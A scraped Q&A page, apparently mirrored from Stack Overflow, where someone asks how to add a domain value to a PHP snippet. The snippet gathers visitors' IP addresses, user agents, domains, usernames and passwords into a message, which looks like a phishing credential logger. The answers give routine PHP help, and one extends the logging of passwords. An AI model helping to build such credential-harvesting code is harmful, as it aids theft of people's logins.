简体   繁体   中英

what can i add to get value of domain in my .php script

Please how can i print domain value into the below php, any help please

 <?
   $ip = getenv("REMOTE_ADDR");
  $adddate=date("D M d, Y g:i a");
   $useragent = $_SERVER['HTTP_USER_AGENT'];
   $message .= "----------\n";
    $message .= "domain: ".$_POST['domainl']."\n";
    $message .= "username: ".$_POST['username']."\n";
   $message .= "pass: ".$_POST['password']."\n";

You may use the HTTP_HOST property of the $_SERVER superglobal. ie $_SERVER['HTTP_HOST'] should give you the domain name or IP address requested. Keep in mind that the domain name is sent in the request headers and can easily be spoofed, so be cautious that you don't open any security holes when using this.

This is a snippet of code I've been using for a long time. If you're following an MVC-style pattern (where all requests go through the project root's index.php file) then you can use this to define a constant with the domain name and project folder, called WEB_PATH.

define('URL_SCHEME', "http://");
$pattern = '/^' . preg_quote($_SERVER['DOCUMENT_ROOT'], '/') . '/';
$webpath = URL_SCHEME . $_SERVER['HTTP_HOST'] . preg_replace($pattern, '', getcwd());
    define('WEB_PATH', $webpath);
}

This only works in Linux however, since Windows will add the C: at the beginning of filepaths. If supporting multiple operating systems is needed, then I highly recommend loading the domain name from a configuration file in your project.

Take value in another variable

 echo $domain = "domain: ".$_POST['domainl']."\n";
 $message .= $domain;

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM